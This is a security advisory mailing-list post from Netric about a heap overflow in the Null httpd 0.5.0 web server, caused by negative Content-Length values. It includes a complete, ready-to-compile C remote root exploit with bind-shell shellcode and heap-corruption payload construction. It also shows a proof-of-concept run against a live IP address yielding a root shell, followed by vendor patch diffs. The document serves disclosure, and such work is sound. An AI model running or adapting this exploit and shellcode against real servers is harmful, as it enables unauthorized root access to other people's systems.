included:
- netric-adv009.txt (advisory)
- bakkum.c          (remote root exploit)


Kind Regards,
Netric Security

http://www.netric.org
________________________________________________
Message sent using UebiMiau
2.7

Attachment: bakkum.c
Description: Binary data

Netric Security Team - http://www.netric.[org|be]
By Netric

Nullhttpd 0.5.0
type: heap overflow

Priority: 1

[1] Description
[2] Vulnerable
[3] Exploit
[4] Proof of concept
[5] Vendor response
[6] Patches

[1] Description

         Null httpd is a very small, simple and multithreaded web server for Linux and 
Windows,
         Which contains a remote exploitable heap overflow, when negative 
Content-Length values
         are transmitted. The exploitable code looks like:



        typedef struct {
                // incoming data
                ...
                // outgoing data
                ...
                /* this int is signed, and can thus contain negative values */
                int  out_ContentLength;
                ...
        } CONNDATA;

        typedef struct {
                ...
                char *PostData;
                ...
        } CONNECTION;


        int read_header(int sid)
        {
                char line[2048];
                ...
                sgets(line, sizeof(line)-1, conn[sid].socket);
                ...
                 if (strncasecmp(line, "Content-Length: ", 16)==0)
                        conn[sid].dat->in_ContentLength=atoi((char *)&line+16);
                ...
                if (strcmp(conn[sid].dat->in_RequestMethod, "POST")==0) {
                        if (conn[sid].dat->in_ContentLength<MAX_POSTSIZE) {
                                ReadPOSTData(sid);
                        }
                        ...
                }
                ...
        }


        void ReadPOSTData(int sid) {
                char *pPostData;
                ...
                /* here is where the bad boundchecking happens */
                conn[sid].PostData=calloc(conn[sid].dat->in_ContentLength+1024, 
sizeof(char));
                ...
                pPostData=conn[sid].PostData;
                ...
                /* This is where the overflow happens */
                recv(conn[sid].socket, pPostData, 1024, 0);
                ...
        }


        as you can see, we can change the size of the buffer that will contain POST'ed 
data,
        both with a positive and a negative value, which means that we can change the 
size of
        that buffer to <negative value> + 1024, and 1024 bytes get read anyway (which 
will
        cause an overflow).


[2] Vulnerable

        The Nullhttpd site says that Nullhttpd works on the following:

        Name            Vulnerable              Exploitable
        * Linux         YES                     YES
        * win32         probably (not tested)   probably (not tested)

        This vulnerability was discovered in Nullhttpd 0.5.0 but previous version are
        probably vulnerable too.


[3] Exploit

        The following exploit was tested in a lab and might not work without any 
tweaking.
        it was tested on a several RedHat 7.x systems. (x86)

        <--> BEGIN OF FILE <-->
        #include <stdio.h>
        #include <stdlib.h>
        #include <netdb.h>
        #include <sys/types.h>
        #include <sys/socket.h>
        #include <netinet/in.h>
        #include <string.h>
        #include "getopt.h"
        
        struct {
                char *type;
                unsigned int retloc;
                unsigned int ret;
        
        } targets[] = { /* Thanks tozz ;) */
                { "Null httpd 0.5.0 (Redhat 7.3)", 0x0804f334, 0x0804fbd1 },
                { "Crash         (All platforms)", 0xb0efb0ef, 0xb0efb0ef },
        };
        
        char shellcode[] = /* shellcode by R00T-dude ([EMAIL PROTECTED]) */
                "\xeb\x0a--netric--"
                "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\xb1\x06\x51"
                "\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd\x80\xb3\x02\xb1\x02\x31"
                "\xc9\x51\x51\x51\x80\xc1\x77\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24"
                "\xb2\x10\x52\x51\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80"
                "\xb3\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03\xcd\x80"
                "\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0\x66\xcd\x80\x89\xc3"
                "\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x41"
                "\x31\xc0\xb0\x3f\xcd\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f"
                "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c\x24"
                "\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
        
        int sock;
        
        void shell();
        void usage();
        
        void usage(char *prog)
        {
                fprintf(stderr,"Usage: %s <-h host> <-t type> [-p port]\n", prog);
                exit(1);
        }
        
        void shell()
        {
                fd_set  fd_read;
                char buff[1024], *cmd="/bin/uname -a;/usr/bin/id;\n";
                int n;
        
                FD_ZERO(&fd_read);
                FD_SET(sock, &fd_read);
                FD_SET(0, &fd_read);
        
                send(sock, cmd, strlen(cmd), 0);
                while(1) {
                        FD_SET(sock,&fd_read);
                        FD_SET(0,&fd_read);
                        if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
                        if( FD_ISSET(sock, &fd_read) ) {
                                if((n=recv(sock,buff,sizeof(buff),0))<0){
                                        fprintf(stderr, "EOF\n");
                                        exit(2);
                                }
                                if(write(1,buff,n)<0)break;
                        }

                        if ( FD_ISSET(0, &fd_read) ) {
                                if((n=read(0,buff,sizeof(buff)))<0){
                                        fprintf(stderr,"EOF\n");
                                        exit(2);
                                }
                                if(send(sock,buff,n,0)<0) break;
                        }
                        usleep(10);
                        }
                fprintf(stderr,"Connection lost.\n\n");
                exit(0);
        }

        int
        openhost(char *host,int port)
        {
                struct sockaddr_in addr;
                struct hostent *he;
        
                he=gethostbyname(host);
        
                if (he==NULL) return -1;
                sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
                if (sock==-1) return -1;
        
                memcpy(&addr.sin_addr, he->h_addr, he->h_length);
        
                addr.sin_family=AF_INET;
                addr.sin_port=htons(port);

                if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) 
sock=-1;
                return sock;
        }

        int
        exploit(char *host, int port, int type)
        {
                char sendbuf[500];
                char buffer[377];
                int i=0;
                int sock2;
        
                sock=openhost(host, port);

                if (sock==-1) {
                        fprintf(stderr,"Unable to connect.\n\n");
                        exit(1);
                }
        
               fprintf(stdout, "Attacking (%s) ...\n", host);
               memset(buffer, 0xbf, sizeof(buffer) - 1);

                for(i=0;i<376;i=i+4)
                {
                        buffer[i]   = 0xbf; /* must be a valid pointer */
                        buffer[i+1] = 0xff;
                        buffer[i+2] = 0xb0;
                        buffer[i+3] = 0xef;
                }

                memcpy(buffer, shellcode, strlen(shellcode));

                buffer[359] = 0xff; /* prev_size */
                buffer[360] = 0xff;
                buffer[361] = 0xff;
                buffer[362] = 0xff;
        
                buffer[363] = 0xfc; /* size field */
                buffer[364] = 0xff;
                buffer[365] = 0xff;
                buffer[366] = 0xff;

                buffer[368] = (targets[type - 1].retloc & 0x000000ff); /* FD */
                buffer[369] = (targets[type - 1].retloc & 0x0000ff00) >> 8;
                buffer[370] = (targets[type - 1].retloc & 0x00ff0000) >> 16;
                buffer[371] = (targets[type - 1].retloc & 0xff000000) >> 24;
        
                buffer[372] = (targets[type - 1].ret & 0x000000ff); /* BK */
                buffer[373] = (targets[type - 1].ret & 0x0000ff00) >> 8;
                buffer[374] = (targets[type - 1].ret & 0x00ff0000) >> 16;
                buffer[375] = (targets[type - 1].ret & 0xff000000) >> 24;
        
                buffer[376] = 0x0;
        
                snprintf(sendbuf, sizeof(sendbuf) -1, "POST / HTTP/1.0\n"
                                                "Content-Length: -800\n"
                                                "\n\n%s\n",buffer);

                write(sock, sendbuf, strlen(sendbuf));

                sleep(4);
                close(sock);
        
                sock=openhost(host, 30464);
                if (sock==-1) {
                        fprintf(stderr,"Failed.\n\n");
                        exit(1);
                }

                fprintf(stdout, "Exploit successful!\n");
                fprintf(stdout, 
"------------------------------------------------------------------\n");
                shell(sock);
                close(sock);
                return 0;
        }

        int
        main (int argc,char *argv[])
        {
                char host[256];
                int i,opt,type=0,port=80;
        
                fprintf(stdout,"Null httpd 0.5.0 remote root exploit            by 
eSDee of Netric\n");
                
fprintf(stdout,"--------------------------------------------------(www.netric.org)\n");
        
                memset(host, 0x0, sizeof(host));

                while((opt=getopt(argc,argv,"h:p:t:")) !=EOF)
                {
                        switch(opt)
                        {
                                case 'h':
                                        strncpy(host, optarg, sizeof(host) - 1);
                                        break;
                                case 'p':
                                        port=atoi(optarg);
                                        if ((port <= 0) || (port > 65535)) {
                                                fprintf(stderr,"Invalid port.\n\n");
                                                return -1;
                                        }
                                        break;
                                case 't':
                                        type=atoi(optarg);
                                        if (type == 0 || type > sizeof(targets)/12) {
                                                for(i = 0; i < sizeof(targets)/12; i++)
                                                        fprintf(stderr, "%d. %s\t 
(0x%08x - 0x%08x)\n",
                                                                        i + 1,
                                                                        
targets[i].type,
                                                                        
targets[i].ret,targets[i].retloc);
                                                fprintf(stderr, "\n");
                                                return -1;
                                        }
                                        break;
                                default:
                                        usage(argv[0]);
                                        break;
                        }

                }
        
                if (strlen(host) == 0) usage(argv[0]);
        
                if (!type) {
                        fprintf(stderr, "No target given, use -t0 for a list.\n\n");
                        return -1;
                }

                if (exploit(host, port, type) < 0) {
                        fprintf(stderr, "Failed.\n\n");
                        return -1;
                }

                return 0;
        }
        <--> END OF FILE <-->
[4] Proof of concept

        [root@pant0ffel]# ./bakkum -h 213.201.176.198 -t1
        Null httpd 0.5.0 remote root exploit            by eSDee of Netric
        --------------------------------------------------(www.netric.org)
        Attacking (213.201.176.198) ...
        Exploit successful!
        ------------------------------------------------------------------
        Linux Dinteldyk 2.4.7-10 #1 Thu Sep 6 17:21:28 EDT 2001 i586 unknown
        uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
        [root@pant0ffel]#


[5] Vendor response

        We got response from the vendor within week, and he told us that patches were 
made and 
        that he would update the page where it can be downloaded after he had ran a 
few tests. 

[6] Patches

        you can download the new version of nullhttpd from :
        http://prdownloads.sourceforge.net/nullhttpd/nullhttpd-0.5.1.tar.gz
        the nullogic vendor also send us patch which is included : 

        diff -Nru nullhttpd-0.5.0/src/format.c nullhttpd-0.5.1-pre/src/format.c
        --- nullhttpd-0.5.0/src/format.c        Sun Feb  3 18:18:22 2002
        +++ nullhttpd-0.5.1-pre/src/format.c    Sun Sep 15 21:55:09 2002
        @@ -153,3 +153,29 @@
                }
                return 0;
         }
        +
        +int printht(const char *format, ...)
        +{
        +       unsigned char buffer[1024];
        +       int offset=0;
        +       va_list ap;
        +
        +       va_start(ap, format);
        +       vsnprintf(buffer, sizeof(buffer)-1, format, ap);
        +       va_end(ap);
        +       while (buffer[offset]) {
        +               if (buffer[offset]=='<') {
        +                       prints("&lt;");
        +               } else if (buffer[offset]=='>') {
        +                       prints("&gt;");
        +               } else if (buffer[offset]=='&') {
        +                       prints("&amp;");
        +               } else if (buffer[offset]=='"') {
        +                       prints("&quot;");
        +               } else {
        +                       prints("%c", buffer[offset]);
        +               }
        +               offset++;
        +       }
        +       return 0;
        +}
        diff -Nru nullhttpd-0.5.0/src/http.c nullhttpd-0.5.1-pre/src/http.c
        --- nullhttpd-0.5.0/src/http.c  Sun Feb  3 18:18:22 2002
        +++ nullhttpd-0.5.1-pre/src/http.c      Sun Sep 15 21:55:09 2002
        @@ -149,8 +149,15 @@
                        while 
((line[strlen(line)-1]=='\n')||(line[strlen(line)-1]=='\r')) line[strlen(line)-1]='\0';
                        if (strncasecmp(line, "Connection: ", 12)==0)
                                strncpy(conn[sid].dat->in_Connection, (char 
*)&line+12, sizeof(conn[sid].dat->in_Connection)-1);
        -               if (strncasecmp(line, "Content-Length: ", 16)==0)
        +               if (strncasecmp(line, "Content-Length: ", 16)==0) {
                                conn[sid].dat->in_ContentLength=atoi((char *)&line+16);
        +                       if (conn[sid].dat->in_ContentLength<0) {
        +                               // Negative Content-Length?  If so, the client 
is either broken or malicious.
        +                               // Thanks to <[EMAIL PROTECTED]> for spotting 
this one.
        +                               logerror("ERROR: negative Content-Length of %d 
provided by client.", conn[sid].dat->in_ContentLength);
        +                               conn[sid].dat->in_ContentLength=0;
        +                       }
        +               }
                        if (strncasecmp(line, "Cookie: ", 8)==0)
                                strncpy(conn[sid].dat->in_Cookie, (char *)&line+8, 
sizeof(conn[sid].dat->in_Cookie)-1);
                        if (strncasecmp(line, "Host: ", 6)==0)
        diff -Nru nullhttpd-0.5.0/src/main.c nullhttpd-0.5.1-pre/src/main.c
        --- nullhttpd-0.5.0/src/main.c  Sun Feb  3 18:18:22 2002
        +++ nullhttpd-0.5.1-pre/src/main.c      Sun Sep 15 21:55:09 2002
        @@ -36,12 +36,17 @@
                logaccess(2, "%s - HTTP Request: %s %s", conn[sid].dat->in_RemoteAddr, 
conn[sid].dat->in_RequestMethod, conn[sid].dat->in_RequestURI);
                snprintf(file, sizeof(file)-1, "%s%s", config.server_htdocs_dir, 
conn[sid].dat->in_RequestURI);
                snprintf(conn[sid].dat->out_ContentType, 
sizeof(conn[sid].dat->out_ContentType)-1, "text/html");
        -       if (strncmp(conn[sid].dat->in_RequestURI, "/cgi-bin/",    9)==0) 
cgi_main();
        -       else if (sendfile(sid, file)==0) return;
        -       else if (dirlist(sid)==0) return;
        -       else {
        +       if (strncmp(conn[sid].dat->in_RequestURI, "/cgi-bin/",    9)==0) {
        +               cgi_main();
        +       } else if (sendfile(sid, file)==0) {
        +               return;
        +       } else if (dirlist(sid)==0) {
        +               return;
        +       } else {
                        send_header(sid, 0, 200, "OK", "1", "text/html", -1, -1);
        -               prints("<BR><CENTER>The file or function '%s' could not be 
found.</CENTER>\n", conn[sid].dat->in_RequestURI);
        +               prints("<BR><CENTER>The file or function '");
        +               printht("%s", conn[sid].dat->in_RequestURI);
        +               prints("' could not be found.</CENTER>\n");
                        logerror("%s - Incorrect function call '%s'", 
conn[sid].dat->in_RemoteAddr, conn[sid].dat->in_RequestURI);
                }
                return;
        diff -Nru nullhttpd-0.5.0/src/main.h nullhttpd-0.5.1-pre/src/main.h
        --- nullhttpd-0.5.0/src/main.h  Sun Feb  3 18:18:22 2002
        +++ nullhttpd-0.5.1-pre/src/main.h      Sun Sep 15 21:55:09 2002
        @@ -251,6 +251,7 @@
         char *strcasestr(char *src, char *query);
         char *strcatf(char *dest, const char *format, ...);
         int printhex(const char *format, ...);
        +int printht(const char *format, ...);
         /* http.c functions */
         void printerror(int sid, int status, char* title, char* text);
         char *get_mime_type(char *name);
        diff -Nru nullhttpd-0.5.0/src/server.c nullhttpd-0.5.1-pre/src/server.c
        --- nullhttpd-0.5.0/src/server.c        Sun Feb  3 18:18:22 2002
        +++ nullhttpd-0.5.1-pre/src/server.c    Sun Sep 15 21:55:09 2002
        @@ -377,7 +377,14 @@
                if (strcasecmp("ANY", config.server_hostname)==0) {
                        sin.sin_addr.s_addr=htonl(INADDR_ANY);
                } else {
        -               hp=gethostbyname(config.server_hostname);
        +               if ((hp=gethostbyname(config.server_hostname))==NULL) {
        +#ifdef WIN32
        +                       MessageBox(0, "DNS Lookup failure.", APPTITLE, 
MB_ICONERROR);
        +#else
        +                       printf("DNS Lookup failure.\r\n");
        +#endif
        +                       exit(0);
        +               }
                        memmove((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
                }
                sin.sin_port=htons((unsigned short)config.server_port);

Reply via email to